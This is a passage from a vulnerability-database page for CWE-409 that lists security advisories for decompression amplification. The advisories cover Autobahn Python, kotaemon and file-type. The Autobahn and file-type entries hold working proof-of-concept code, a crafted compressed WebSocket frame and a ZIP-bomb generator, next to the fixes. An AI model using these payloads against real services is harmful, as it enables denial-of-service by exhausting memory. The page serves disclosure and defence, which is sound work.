Common Weakness Enumeration

CWE-409

Allowed

Improper Handling of Highly Compressed Data (Data Amplification)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The product does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output.

262 vulnerabilities reference this CWE, most recent first.

GHSA-HXP9-W8X3-P566

Vulnerability from github – Published: 2026-09-22 20:37 – Updated: 2026-09-22 20:37
VLAI
Summary
Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation
Details

Summary

Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.

Details

The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.

Reproduction

import sys
import types
import zlib


if len(sys.argv) != 2:
    raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]


class _Log:
    def debug(self, *args, **kwargs):
        pass

    def warn(self, *args, **kwargs):
        pass

    def error(self, *args, **kwargs):
        pass


class _Timer:
    def call_later(self, *args, **kwargs):
        return self

    def cancel(self):
        pass


txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
    lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")


class _URL:
    @classmethod
    def from_text(cls, text):
        return cls(text)

    def __init__(self, text):
        self._text = text

    def to_uri(self):
        return self

    def normalize(self):
        return self

    def to_text(self):
        return self._text


hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink

wamp_types = types.ModuleType("autobahn.wamp.types")


class TransportDetails:
    pass


wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol


class _Factory:
    isServer = True
    requireMaskedClientFrames = True
    maskServerFrames = False
    utf8validateIncoming = True
    applyMask = True
    maxFramePayloadSize = 128
    maxMessagePayloadSize = 128
    autoFragmentSize = 0
    failByDrop = True
    echoCloseCodeReason = False
    openHandshakeTimeout = 5
    closeHandshakeTimeout = 1
    tcpNoDelay = True
    autoPingInterval = 0
    autoPingTimeout = 0
    autoPingSize = 12
    autoPingRestartOnAnyTraffic = True
    logOctets = False
    logFrames = False
    trackTimings = False
    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
    webStatus = False
    perMessageCompressionAccept = staticmethod(lambda offer: None)
    serveFlashSocketPolicy = False
    flashSocketPolicy = ""
    allowedOrigins = ["*"]
    allowedOriginsPatterns = []
    allowNullOrigin = True
    maxConnections = 0
    trustXForwardedFor = 0
    _batched_timer = _Timer()


class CapturingProtocol(WebSocketProtocol):
    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER

    def __init__(self):
        super().__init__()
        self.delivered = None

    def _onMessageBegin(self, isBinary):
        self.onMessageBegin(isBinary)

    def _onMessageFrameBegin(self, length):
        self.onMessageFrameBegin(length)

    def _onMessageFrameData(self, payload):
        self.onMessageFrameData(payload)

    def _onMessageFrameEnd(self):
        self.onMessageFrameEnd()

    def _onMessageFrame(self, payload):
        self.onMessageFrame(payload)

    def _onMessageEnd(self):
        self.onMessageEnd()

    def _onMessage(self, payload, isBinary):
        self.delivered = payload

    def sendData(self, data, sync=False, chopsize=None):
        pass

    def dropConnection(self, abort=True):
        self.droppedByMe = True
        self.state = WebSocketProtocol.STATE_CLOSED


def masked_compressed_text_frame(payload):
    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
    compressed = compressed[:-4]
    mask = b"\x11\x22\x33\x44"
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
    if len(compressed) <= 125:
        header = bytes([0xC1, 0x80 | len(compressed)])
    elif len(compressed) <= 65535:
        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
    else:
        raise RuntimeError("compressed fixture too large")
    return header + mask + masked, len(compressed)


limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
    raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
    is_server=True,
    server_no_context_takeover=False,
    client_no_context_takeover=False,
    server_max_window_bits=15,
    client_max_window_bits=15,
    mem_level=8,
    max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13

proto._dataReceived(frame)

delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
    print(
        "AUTOBAHN_DEFLATE_LIMIT_BYPASS "
        f"delivered_length={delivered_len} configured_limit={limit} "
        f"compressed_length={compressed_len}"
    )
    raise SystemExit(0)

print(
    "guarded "
    f"delivered_length={delivered_len} configured_limit={limit} "
    f"compressed_length={compressed_len} "
    f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)

Impact

A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.

Suggested fix

diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
             if self.state == WebSocketProtocol.STATE_OPEN:
                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+            if self._isMessageCompressed:
+                self.message_data_total_length += uncompressedLen - compressedLen
+                if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+                    self.wasMaxMessagePayloadSizeExceeded = True
+                    self._max_message_size_exceeded(
+                        self.message_data_total_length,
+                        self.maxMessagePayloadSize,
+                        f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+                    )
+                    return False

             # incrementally validate UTF-8 payload
             #

Reported by Team Atlanta.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "autobahn"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "26.7.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "crossbar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "26.7.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-77528"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-22T20:37:28Z",
    "nvd_published_at": "2026-09-18T20:17:22Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nAutobahn Python enforces `maxMessagePayloadSize` against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach `onMessage` even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.\n\n### Details\nThe permessage-deflate path installs a `PerMessageDeflate` instance when the server accepts a client offer in `src/autobahn/websocket/protocol.py:3371`. The common `PerMessageDeflateOfferAccept(offer)` path leaves `max_message_size` at its default `None` in `src/autobahn/websocket/compress_deflate.py:295`, and that value is copied into the compressor object in `src/autobahn/websocket/compress_deflate.py:723`. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in `src/autobahn/websocket/protocol.py:1812`, calls `onMessageFrameBegin` with the compressed frame length, and increments `message_data_total_length` by that pre-inflate length in `src/autobahn/websocket/protocol.py:634`; the configured message cap is enforced against the same compressed accounting at `src/autobahn/websocket/protocol.py:636`. Only after those checks does Autobahn inflate the payload in `src/autobahn/websocket/protocol.py:1861`; because `max_message_size` is `None`, `src/autobahn/websocket/compress_deflate.py:812` calls zlib without an output cap. The inflated bytes are then passed to `onMessageFrameData` in `src/autobahn/websocket/protocol.py:1882`, appended for WebSocket version 13 without adding their inflated length to the message counter at `src/autobahn/websocket/protocol.py:667`, joined in `src/autobahn/websocket/protocol.py:690`, and delivered through `_onMessage` in `src/autobahn/websocket/protocol.py:693`. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.\n\n### Reproduction\n```py\nimport sys\nimport types\nimport zlib\n\n\nif len(sys.argv) != 2:\n    raise SystemExit(\"usage: autobahn_deflate_limit_poc.py \u003cautobahn-python-source-dir\u003e\")\n\nSRC = sys.argv[1]\n\n\nclass _Log:\n    def debug(self, *args, **kwargs):\n        pass\n\n    def warn(self, *args, **kwargs):\n        pass\n\n    def error(self, *args, **kwargs):\n        pass\n\n\nclass _Timer:\n    def call_later(self, *args, **kwargs):\n        return self\n\n    def cancel(self):\n        pass\n\n\ntxaio = types.ModuleType(\"txaio\")\ntxaio.make_logger = lambda: _Log()\ntxaio.create_future = lambda result=None: result\ntxaio.resolve = lambda future, value=None: None\ntxaio.reject = lambda future, error=None: None\ntxaio.add_callbacks = (\n    lambda future, callback=None, errback=None: callback(future) if callback else None\n)\ntxaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)\ntxaio.failure_format_traceback = lambda err: str(err)\ntxaio.call_later = lambda *args, **kwargs: _Timer()\ntxaio.make_batched_timer = lambda *args, **kwargs: _Timer()\ntxaio.time_ns = lambda: 0\ntxaio.use_asyncio = lambda: None\ntxaio.use_twisted = lambda: None\nsys.modules[\"txaio\"] = txaio\n\nhyperlink = types.ModuleType(\"hyperlink\")\n\n\nclass _URL:\n    @classmethod\n    def from_text(cls, text):\n        return cls(text)\n\n    def __init__(self, text):\n        self._text = text\n\n    def to_uri(self):\n        return self\n\n    def normalize(self):\n        return self\n\n    def to_text(self):\n        return self._text\n\n\nhyperlink.URL = _URL\nsys.modules[\"hyperlink\"] = hyperlink\n\nwamp_types = types.ModuleType(\"autobahn.wamp.types\")\n\n\nclass TransportDetails:\n    pass\n\n\nwamp_types.TransportDetails = TransportDetails\nsys.modules[\"autobahn.wamp.types\"] = wamp_types\n\nsys.path.insert(0, SRC + \"/src\")\n\nfrom autobahn.websocket.compress_deflate import PerMessageDeflate\nfrom autobahn.websocket.protocol import WebSocketProtocol\n\n\nclass _Factory:\n    isServer = True\n    requireMaskedClientFrames = True\n    maskServerFrames = False\n    utf8validateIncoming = True\n    applyMask = True\n    maxFramePayloadSize = 128\n    maxMessagePayloadSize = 128\n    autoFragmentSize = 0\n    failByDrop = True\n    echoCloseCodeReason = False\n    openHandshakeTimeout = 5\n    closeHandshakeTimeout = 1\n    tcpNoDelay = True\n    autoPingInterval = 0\n    autoPingTimeout = 0\n    autoPingSize = 12\n    autoPingRestartOnAnyTraffic = True\n    logOctets = False\n    logFrames = False\n    trackTimings = False\n    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS\n    webStatus = False\n    perMessageCompressionAccept = staticmethod(lambda offer: None)\n    serveFlashSocketPolicy = False\n    flashSocketPolicy = \"\"\n    allowedOrigins = [\"*\"]\n    allowedOriginsPatterns = []\n    allowNullOrigin = True\n    maxConnections = 0\n    trustXForwardedFor = 0\n    _batched_timer = _Timer()\n\n\nclass CapturingProtocol(WebSocketProtocol):\n    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER\n\n    def __init__(self):\n        super().__init__()\n        self.delivered = None\n\n    def _onMessageBegin(self, isBinary):\n        self.onMessageBegin(isBinary)\n\n    def _onMessageFrameBegin(self, length):\n        self.onMessageFrameBegin(length)\n\n    def _onMessageFrameData(self, payload):\n        self.onMessageFrameData(payload)\n\n    def _onMessageFrameEnd(self):\n        self.onMessageFrameEnd()\n\n    def _onMessageFrame(self, payload):\n        self.onMessageFrame(payload)\n\n    def _onMessageEnd(self):\n        self.onMessageEnd()\n\n    def _onMessage(self, payload, isBinary):\n        self.delivered = payload\n\n    def sendData(self, data, sync=False, chopsize=None):\n        pass\n\n    def dropConnection(self, abort=True):\n        self.droppedByMe = True\n        self.state = WebSocketProtocol.STATE_CLOSED\n\n\ndef masked_compressed_text_frame(payload):\n    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)\n    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)\n    compressed = compressed[:-4]\n    mask = b\"\\x11\\x22\\x33\\x44\"\n    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))\n    if len(compressed) \u003c= 125:\n        header = bytes([0xC1, 0x80 | len(compressed)])\n    elif len(compressed) \u003c= 65535:\n        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, \"big\")\n    else:\n        raise RuntimeError(\"compressed fixture too large\")\n    return header + mask + masked, len(compressed)\n\n\nlimit = 128\ninflated = b\"X\" * 4096\nframe, compressed_len = masked_compressed_text_frame(inflated)\nif compressed_len \u003e= limit:\n    raise SystemExit(\"compressed fixture does not pass pre-inflate limit\")\n\nproto = CapturingProtocol()\nproto.factory = _Factory()\nproto.log = _Log()\nproto._connectionMade()\nproto._perMessageCompress = PerMessageDeflate(\n    is_server=True,\n    server_no_context_takeover=False,\n    client_no_context_takeover=False,\n    server_max_window_bits=15,\n    client_max_window_bits=15,\n    mem_level=8,\n    max_message_size=None,\n)\nproto.state = WebSocketProtocol.STATE_OPEN\nproto.inside_message = False\nproto.current_frame = None\nproto.websocket_version = 13\n\nproto._dataReceived(frame)\n\ndelivered_len = len(proto.delivered or b\"\")\nif delivered_len \u003e limit and not proto.wasMaxMessagePayloadSizeExceeded:\n    print(\n        \"AUTOBAHN_DEFLATE_LIMIT_BYPASS \"\n        f\"delivered_length={delivered_len} configured_limit={limit} \"\n        f\"compressed_length={compressed_len}\"\n    )\n    raise SystemExit(0)\n\nprint(\n    \"guarded \"\n    f\"delivered_length={delivered_len} configured_limit={limit} \"\n    f\"compressed_length={compressed_len} \"\n    f\"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}\"\n)\nraise SystemExit(1)\n\n```\n\n### Impact\nA remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on `maxMessagePayloadSize` as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level `max_message_size` cap because it remains `None`. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.\n\n### Suggested fix\n```001-fix.diff\ndiff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py\nindex 3c060804..4514e3cb 100644\n--- a/src/autobahn/websocket/protocol.py\n+++ b/src/autobahn/websocket/protocol.py\n@@ -1869,6 +1869,17 @@ class WebSocketProtocol:\n             if self.state == WebSocketProtocol.STATE_OPEN:\n                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen\n                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen\n+\n+            if self._isMessageCompressed:\n+                self.message_data_total_length += uncompressedLen - compressedLen\n+                if 0 \u003c self.maxMessagePayloadSize \u003c self.message_data_total_length:\n+                    self.wasMaxMessagePayloadSizeExceeded = True\n+                    self._max_message_size_exceeded(\n+                        self.message_data_total_length,\n+                        self.maxMessagePayloadSize,\n+                        f\"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets\",\n+                    )\n+                    return False\n \n             # incrementally validate UTF-8 payload\n             #\n```\n\n*Reported by Team Atlanta.*",
  "id": "GHSA-hxp9-w8x3-p566",
  "modified": "2026-09-22T20:37:28Z",
  "published": "2026-09-22T20:37:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/crossbario/autobahn-python/security/advisories/GHSA-hxp9-w8x3-p566"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77528"
    },
    {
      "type": "WEB",
      "url": "https://github.com/crossbario/autobahn-python/pull/1916"
    },
    {
      "type": "WEB",
      "url": "https://github.com/crossbario/autobahn-python/commit/77d323a30b09b1828ad8be2ce6344e056970e613"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/crossbario/autobahn-python"
    },
    {
      "type": "WEB",
      "url": "https://github.com/crossbario/autobahn-python/releases/tag/v26_7_1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation"
}

GHSA-J3H2-559W-J4X9

Vulnerability from github – Published: 2025-11-24 21:30 – Updated: 2025-11-24 21:31
VLAI
Details

An issue was discovered in Cinnamon kotaemon 0.11.0. The _may_extract_zip function in the \libs\ktem\ktem\index\file\ui.py file does not check the contents of uploaded ZIP files. Although the contents are extracted into a temporary folder that is cleared before each extraction, successfully uploading a ZIP bomb could still cause the server to consume excessive resources during decompression. Moreover, if no further files are uploaded afterward, the extracted data could occupy disk space and potentially render the system unavailable. Anyone with permission to upload files can carry out this attack.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-63914"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-24T20:15:50Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in Cinnamon kotaemon 0.11.0. The _may_extract_zip function in the \\libs\\ktem\\ktem\\index\\file\\ui.py file does not check the contents of uploaded ZIP files. Although the contents are extracted into a temporary folder that is cleared before each extraction, successfully uploading a ZIP bomb could still cause the server to consume excessive resources during decompression. Moreover, if no further files are uploaded afterward, the extracted data could occupy disk space and potentially render the system unavailable. Anyone with permission to upload files can carry out this attack.",
  "id": "GHSA-j3h2-559w-j4x9",
  "modified": "2025-11-24T21:31:00Z",
  "published": "2025-11-24T21:30:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-63914"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Cinnamon/kotaemon"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WxDou/CVE-2025-63914"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J47W-4G3G-C36V

Vulnerability from github – Published: 2026-03-13 20:56 – Updated: 2026-03-16 21:59
VLAI
Summary
file-type: ZIP Decompression Bomb DoS via [Content_Types].xml entry
Details

Summary

A crafted ZIP file can trigger excessive memory growth during type detection in file-type when using fileTypeFromBuffer(), fileTypeFromBlob(), or fileTypeFromFile().

In affected versions, the ZIP inflate output limit is enforced for stream-based detection, but not for known-size inputs. As a result, a small compressed ZIP can cause file-type to inflate and process a much larger payload while probing ZIP-based formats such as OOXML. In testing on file-type 21.3.1, a ZIP of about 255 KB caused about 257 MB of RSS growth during fileTypeFromBuffer().

This is an availability issue. Applications that use these APIs on untrusted uploads can be forced to consume large amounts of memory and may become slow or crash.

Root Cause

The ZIP detection logic applied different limits depending on whether the tokenizer had a known file size.

For stream inputs, ZIP probing was bounded by maximumZipEntrySizeInBytes (1 MiB). For known-size inputs such as buffers, blobs, and files, the code instead used Number.MAX_SAFE_INTEGER in two relevant places:

const maximumContentTypesEntrySize = hasUnknownFileSize(tokenizer)
    ? maximumZipEntrySizeInBytes
    : Number.MAX_SAFE_INTEGER;

and:

const maximumLength = hasUnknownFileSize(this.tokenizer)
    ? maximumZipEntrySizeInBytes
    : Number.MAX_SAFE_INTEGER;

Together, these checks allowed a crafted ZIP to bypass the intended inflate limit for known-size APIs and force large decompression during detection of entries such as [Content_Types].xml.

Proof of Concept

import {fileTypeFromBuffer} from 'file-type';
import archiver from 'archiver';
import {Writable} from 'node:stream';

async function createZipBomb(sizeInMegabytes) {
    return new Promise((resolve, reject) => {
        const chunks = [];
        const writable = new Writable({
            write(chunk, encoding, callback) {
                chunks.push(chunk);
                callback();
            },
        });

        const archive = archiver('zip', {zlib: {level: 9}});
        archive.pipe(writable);
        writable.on('finish', () => {
            resolve(Buffer.concat(chunks));
        });
        archive.on('error', reject);

        const xmlPrefix = '<?xml version="1.0"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">';
        const padding = Buffer.alloc(sizeInMegabytes * 1024 * 1024 - xmlPrefix.length, 0x20);
        archive.append(Buffer.concat([Buffer.from(xmlPrefix), padding]), {name: '[Content_Types].xml'});
        archive.finalize();
    });
}

const zip = await createZipBomb(256);
console.log('ZIP size (KB):', (zip.length / 1024).toFixed(0));

const before = process.memoryUsage().rss;
await fileTypeFromBuffer(zip);
const after = process.memoryUsage().rss;

console.log('RSS growth (MB):', ((after - before) / 1024 / 1024).toFixed(0));

Observed on file-type 21.3.1: - ZIP size: about 255 KB - RSS growth during detection: about 257 MB

Affected APIs

Affected: - fileTypeFromBuffer() - fileTypeFromBlob() - fileTypeFromFile()

Not affected: - fileTypeFromStream(), which already enforced the ZIP inflate limit for unknown-size inputs

Impact

Applications that inspect untrusted uploads with fileTypeFromBuffer(), fileTypeFromBlob(), or fileTypeFromFile() can be forced to consume excessive memory during ZIP-based type detection. This can degrade service or lead to process termination in memory-constrained environments.

Cause

The issue was introduced in 399b0f1

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 21.3.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "file-type"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "20.0.0"
            },
            {
              "fixed": "21.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32630"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-13T20:56:05Z",
    "nvd_published_at": "2026-03-16T14:19:40Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nA crafted ZIP file can trigger excessive memory growth during type detection in `file-type` when using `fileTypeFromBuffer()`, `fileTypeFromBlob()`, or `fileTypeFromFile()`.\n\nIn affected versions, the ZIP inflate output limit is enforced for stream-based detection, but not for known-size inputs. As a result, a small compressed ZIP can cause `file-type` to inflate and process a much larger payload while probing ZIP-based formats such as OOXML. In testing on `file-type` `21.3.1`, a ZIP of about `255 KB` caused about `257 MB` of RSS growth during `fileTypeFromBuffer()`.\n\nThis is an availability issue. Applications that use these APIs on untrusted uploads can be forced to consume large amounts of memory and may become slow or crash.\n\n## Root Cause\n\nThe ZIP detection logic applied different limits depending on whether the tokenizer had a known file size.\n\nFor stream inputs, ZIP probing was bounded by `maximumZipEntrySizeInBytes` (`1 MiB`). For known-size inputs such as buffers, blobs, and files, the code instead used `Number.MAX_SAFE_INTEGER` in two relevant places:\n\n```js\nconst maximumContentTypesEntrySize = hasUnknownFileSize(tokenizer)\n\t? maximumZipEntrySizeInBytes\n\t: Number.MAX_SAFE_INTEGER;\n```\n\nand:\n\n```js\nconst maximumLength = hasUnknownFileSize(this.tokenizer)\n\t? maximumZipEntrySizeInBytes\n\t: Number.MAX_SAFE_INTEGER;\n```\n\nTogether, these checks allowed a crafted ZIP to bypass the intended inflate limit for known-size APIs and force large decompression during detection of entries such as `[Content_Types].xml`.\n\n## Proof of Concept\n\n```js\nimport {fileTypeFromBuffer} from \u0027file-type\u0027;\nimport archiver from \u0027archiver\u0027;\nimport {Writable} from \u0027node:stream\u0027;\n\nasync function createZipBomb(sizeInMegabytes) {\n\treturn new Promise((resolve, reject) =\u003e {\n\t\tconst chunks = [];\n\t\tconst writable = new Writable({\n\t\t\twrite(chunk, encoding, callback) {\n\t\t\t\tchunks.push(chunk);\n\t\t\t\tcallback();\n\t\t\t},\n\t\t});\n\n\t\tconst archive = archiver(\u0027zip\u0027, {zlib: {level: 9}});\n\t\tarchive.pipe(writable);\n\t\twritable.on(\u0027finish\u0027, () =\u003e {\n\t\t\tresolve(Buffer.concat(chunks));\n\t\t});\n\t\tarchive.on(\u0027error\u0027, reject);\n\n\t\tconst xmlPrefix = \u0027\u003c?xml version=\"1.0\"?\u003e\u003cTypes xmlns=\"http://schemas.openxmlformats.org/package/2006/content-types\"\u003e\u0027;\n\t\tconst padding = Buffer.alloc(sizeInMegabytes * 1024 * 1024 - xmlPrefix.length, 0x20);\n\t\tarchive.append(Buffer.concat([Buffer.from(xmlPrefix), padding]), {name: \u0027[Content_Types].xml\u0027});\n\t\tarchive.finalize();\n\t});\n}\n\nconst zip = await createZipBomb(256);\nconsole.log(\u0027ZIP size (KB):\u0027, (zip.length / 1024).toFixed(0));\n\nconst before = process.memoryUsage().rss;\nawait fileTypeFromBuffer(zip);\nconst after = process.memoryUsage().rss;\n\nconsole.log(\u0027RSS growth (MB):\u0027, ((after - before) / 1024 / 1024).toFixed(0));\n```\n\nObserved on `file-type` `21.3.1`:\n- ZIP size: about `255 KB`\n- RSS growth during detection: about `257 MB`\n\n## Affected APIs\n\nAffected:\n- `fileTypeFromBuffer()`\n- `fileTypeFromBlob()`\n- `fileTypeFromFile()`\n\nNot affected:\n- `fileTypeFromStream()`, which already enforced the ZIP inflate limit for unknown-size inputs\n\n## Impact\n\nApplications that inspect untrusted uploads with `fileTypeFromBuffer()`, `fileTypeFromBlob()`, or `fileTypeFromFile()` can be forced to consume excessive memory during ZIP-based type detection. This can degrade service or lead to process termination in memory-constrained environments.\n\n## Cause\n\nThe issue was introduced in 399b0f1",
  "id": "GHSA-j47w-4g3g-c36v",
  "modified": "2026-03-16T21:59:48Z",
  "published": "2026-03-13T20:56:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sindresorhus/file-type/security/advisories/GHSA-j47w-4g3g-c36v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32630"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sindresorhus/file-type/commit/399b0f156063f5aeb1c124a7fd61028f3ea7c124"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sindresorhus/file-type/commit/a155cd71323279de173c54e8c530d300d3854fdd"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sindresorhus/file-type"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sindresorhus/file-type/releases/tag/v21.3.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "file-type: ZIP Decompression Bomb DoS via [Content_Types].xml entry"
}

GHSA-J5G9-F88F-GFJ3

